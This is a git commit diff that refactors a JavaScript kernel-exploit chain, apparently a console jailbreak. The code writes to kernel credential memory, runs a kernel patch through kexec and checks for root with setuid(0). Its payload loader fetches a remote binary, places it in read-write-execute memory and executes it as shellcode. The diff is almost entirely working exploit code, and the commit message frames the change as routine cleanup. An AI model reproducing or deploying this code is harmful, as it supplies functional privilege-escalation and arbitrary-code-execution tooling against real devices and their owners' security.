Make requested changes to payload loader

- Added comments to explain it
This commit is contained in:
Al Azif
2025-06-10 12:46:06 -07:00
parent 9d420c7463
commit bca8c9ac74

View File

@@ -1541,7 +1541,7 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
kmem.write64(p_ucred.add(0x68), -1); // 0xffffffffffffffff
const buf = await get_binary(patch_elf_loc);
const patches = new View1(await buf);
const patches = new View1(buf);
let map_size = patches.size;
const max_size = 0x10000000;
if (map_size > max_size) {
@@ -1597,14 +1597,6 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
log("execute kpatch...")
mem.cpy(write_addr, patches.addr, patches.size);
sys_void("kexec", exec_addr, ...restore_info);
log("munlock save data used in kernel restore");
sysi("munlock", restore_info[1], page_size);
sysi("munlock", restore_info[4], page_size);
log("setuid(0)");
sysi("setuid", 0);
log("kernel exploit succeeded!");
}
// FUNCTIONS FOR STAGE: SETUP
@@ -1731,12 +1723,15 @@ export async function kexploit() {
}
// Check if it all worked
log("setuid(0)");
try {
if (sysi("setuid", 0) == 0) {
log("kernel exploit succeeded!");
return true;
}
} catch {
// Still not exploited, something failed, but it made it here...
die("kernel exploit failed!");
}
return false;
@@ -1760,6 +1755,17 @@ function malloc32(sz) {
return ptr;
}
// ChendoChap's from pOOBs4
function array_from_address(addr, size) {
const og_array = new Uint32Array(0x1000);
const og_array_i = mem.addrof(og_array).add(0x10);
mem.write64(og_array_i, addr);
mem.write32(og_array_i.add(0x8), size);
mem.write32(og_array_i.add(0xC), 0x1);
nogc.push(og_array);
return og_array;
}
// ChendoChap's from pOOBs4
function runBinLoader() {
const payload_buffer = chain.sysp("mmap", 0x0, 0x300000, 0x7, 0x1000, 0xffffffff, 0);
@@ -1839,34 +1845,52 @@ function runBinLoader() {
}
function runPayload(path) {
// Why xhr instead of fetch? More universal support, more control, better errors, etc.
log(`loading ${path}`);
const xhr = new XMLHttpRequest();
xhr.open("GET", path);
xhr.responseType = "arraybuffer";
xhr.onreadystatechange = function () {
// When request is "DONE"
if (xhr.readyState === 4) {
// If response code is "OK"
if (xhr.status === 200) {
try {
const payload_buffer = chain.sysp("mmap", 0x0, 0x300000, 0x7, 0x41000, 0xffffffff, 0);
// Allocate a buffer with length rounded up to the next multiple of 4 bytes for Uint32 alignment
const padding_length = (4 - (xhr.response.byteLength % 4)) % 4;
const padded_buffer = new Uint8Array(xhr.response.byteLength + padding_length);
// Load xhr response data into the payload buffer and pad the rest with zeros
padded_buffer.set(new Uint8Array(xhr.response), 0);
if (padding_length) {
padded_buffer.set(new Uint8Array(padding_length), xhr.response.byteLength);
}
// Convert padded_buffer to Uint32Array. That's what `array_from_address()` expects
const shellcode = new Uint32Array(padded_buffer.buffer);
// Map memory with RWX permissions to load the payload into
const payload_buffer = chain.sysp('mmap', 0x0, padded_buffer.length, PROT_READ | PROT_WRITE | PROT_EXEC, 0x41000, 0xffffffff, 0);
log(`payload buffer allocated at ${payload_buffer}`);
// Trick for 4 bytes padding
const padding = new Uint8Array(4 - ((xhr.response.byteLength % 4) % 4));
const tmp = new Uint8Array(xhr.response.byteLength + padding.byteLength);
tmp.set(new Uint8Array(xhr.response), 0);
tmp.set(padding, xhr.response.byteLength);
// Create an JS array that "shadows" the mapped location
const payload_buffer_shadow = array_from_address(payload_buffer, shellcode.length);
const shellcode = new Uint32Array(tmp.buffer);
for (let i = 0; i < shellcode.length; i++) {
mem.write32(payload_buffer.add(0x100000 + i * 4), shellcode[i]);
}
log(`loaded ${xhr.response.byteLength} bytes for payload (+ ${padding.length} bytes padding)`);
// Move the shellcode to the array created in the previous step
payload_buffer_shadow.set(shellcode);
log(`loaded ${xhr.response.byteLength} bytes for payload (+ ${padding_length} bytes padding)`);
// Call the payload
chain.call_void(payload_buffer);
sysi("munmap", payload_buffer, 0x300000);
// Unmap the memory used for the payload
sysi("munmap", payload_buffer, padded_buffer.length);
} catch (e) {
// Caught error while trying to execute payload
log(`error in runPayload: ${e.message}`);
}
} else {
// Some other HTTP response code (eg. 404)
log(`error retrieving payload, ${xhr.status}`);
}
}